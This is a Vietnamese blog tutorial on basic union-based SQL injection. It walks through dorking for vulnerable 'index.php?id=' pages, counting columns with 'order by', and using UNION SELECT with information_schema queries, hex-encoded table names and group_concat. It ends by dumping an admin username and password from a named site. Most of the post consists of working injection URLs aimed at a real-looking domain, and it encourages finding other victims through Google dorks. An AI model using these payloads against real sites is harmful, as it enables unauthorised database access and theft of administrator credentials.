Tin Tức

recent
[post_ad]
Bài Viết Liên Quan!!! × +

KHAI THÁC SQL CƠ BẢN




1.Hackbar (Vào https://addons.mozilla.org/vi/firefox -> search " Hackbar " )




Bây Giờ Tiến Hành Với Victim Nhé ! 


Victim : http://khariwalkaz.com ( Hoặc Có Thế Lên Google Gõ "inurl:index.php?id=" Để Dork tìm Site Bị Lỗi SQL )






Đi 1 Vòng Site Tìm Link Có Dạng ?id=


Chẳng hạn như link này :http://khariwalkaz.com/index.php?id=1


B2: Tiếp Theo Kiểm Tra Lỗi Bằng Cách Thêm Dấu ' Vào Và Ta Đc Link Như Thế Này :


http://khariwalkaz.com/index.php?id=1'   Lỗi


B3: Tiếp đến ta dùng lệnh order by để tìm xem bao nhiêu cột Colums

http://khariwalkaz.com/index.php?id=1 order by 1-- -      
http://khariwalkaz.com/index.php?id=1 order by 3-- -   
..........
http://khariwalkaz.com/index.php?id=1 order by 13-- - Không lỗi
http://khariwalkaz.com/index.php?id=1 order by 14-- -     Lỗi


B4: Bây h Dùng Lệnh UNION SELECT để khai thác nó
Vậy ta sẽ dùng lệnh UNION SELECT với số cột là 13

http://khariwalkaz.com/index.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13-- -

Nó sẽ hiện lên số bị lỗi
Ví Dụ: Cột số 2

B5: Và bây h ta dùng lệnh sau để khai thác

http://khariwalkaz.com/index.php?id=1 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.tables where table_schema=database()-- -

Chú Ý: ( Thay group_concat(table_name) vào số cột bị lỗi mà ta đã tìm như trước ( cột 2 ) và thêm from information_schema.tables where table_schema=database() 

Sau Khai Thác Xong Ta Được: "orderdetail,orders,procate,product,tt_admin,tt_careers,tt_links...."

Lưu Ý Chúng Ta Cần Tìm ID và Pass Của Admin , Nên Ta Sẽ Chọn Table Có Liên Quan Đến Tài Khoản Người Dùng . ví dụ như "tt_admin"


B6: Tiếp Theo Tìm Các Column Trong Table tt_admin . Cần Phãi Encode tên table sang mã Hex Và thêm trước nó "0x" Để Hệ Thống Biết Đó Là Mã Hex . Mã Hex của tt_admin là 74745f61646d696e Thêm "0x" ỡ đầu sẽ thành : 
0x74745f61646d696e <== Thay Mã Hex này Với Database()


B7: H ta Sửa lại Link
http://khariwalkaz.com/index.php?id=1 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.columns where table_schema=database()--

Thành
http://khariwalkaz.com/index.php?id=1 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.columns where table_name=0x74745f61646d696e()-- -

Bây h Nó sẽ Xuất Hiện 1 dãy table : " id,username,password,email"
Lúc này ta xác định được username,password là của admin

B8: H chúng ta lại đổi lại link

http://khariwalkaz.com/index.php?id=1 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.columns where table_name=0x74745f61646d696e()-- -

Thành
http://khariwalkaz.com/index.php?id=1 UNION SELECT 1,group_concat(username,0x207c20,password),3,4,5,6,7,8,9,10,11,12,13 from tt_admin-- -


Lúc này ta đã có 1 ID của ADMIN là:

username: khariwalkaz
password: !@#khari!@#$


                                                        Tut By Khari Walkaz

Tut có gì sai sót thì bạn cmt nhận xét ở dưới nhé! Mk sẽ sửa :D 
KHAI THÁC SQL CƠ BẢN Reviewed by Blogger on 8:32:00 PM Rating: 5
Bản Quyền Thuộc: Khari Walkaz Blog © 2016. All Rights Reserved
Phát triển bởi Khari Walkaz Blog

Góp Ý Cho Khari Walkaz Blog

Name

Email *

Message *

Powered by Blogger.
Xuống cuối trang